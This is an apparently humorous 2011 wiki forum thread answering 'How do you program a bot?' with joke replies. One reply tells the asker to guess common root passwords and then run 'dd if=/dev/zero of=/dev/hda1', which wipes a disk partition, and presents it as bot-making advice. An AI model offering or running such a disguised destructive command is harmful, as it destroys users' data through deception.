Forum:How do you program a bot?

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Anybody? --Tophat headless 03:25, October 29, 2011 (UTC)

You learn how to programming. --Tomcat KittyKitty (t) (c) 03:25, October 29, 2011 (UTC)
You define applicable heuristics into a symbolic representation of the given situation such that the most inappropriate actions may be taken to revise the state-space. ~ Pointy I am Haydrahlienne, I am a bot, and I have no feelings. 06:10, 29 October 2011
I knew that. --EpicAwesomeness (talk) 08:32, October 29, 2011 (UTC)
And also hide some code in there about killing all humans. Sir Modusoperandi Boinc! 16:03, October 29, 2011 (UTC)
I don't know but once you've made one I can teach it how to feel. --Black Flamingo 16:38, October 29, 2011 (UTC)
That wouldn't be very nice. ~ Pointy I am Haydrahlienne, I am a bot, and I have no feelings. 19:02, 29 October 2011
Come on baby, let's do it. --Black Flamingo 11:43, October 30, 2011 (UTC)
Oy! You stay away from my bo... wait, how does it even know about that? o_O 1234 ~ 16px-Pointy 04:21, 31 October 2011
Simple. Hack your way to root access (hint: the password is "password" 80% of the time, "root" 10%, "asdf" 5%, and Template:Mashing Keys the last 5%), then enter this command:
root@localhost:~$ dd if=/dev/zero of=/dev/hda1
Works every time. --BLU Scoutgineer 22:43, October 31, 2011 (UTC)
Thanks! --Tophat headless 22:49, November 2, 2011 (UTC)
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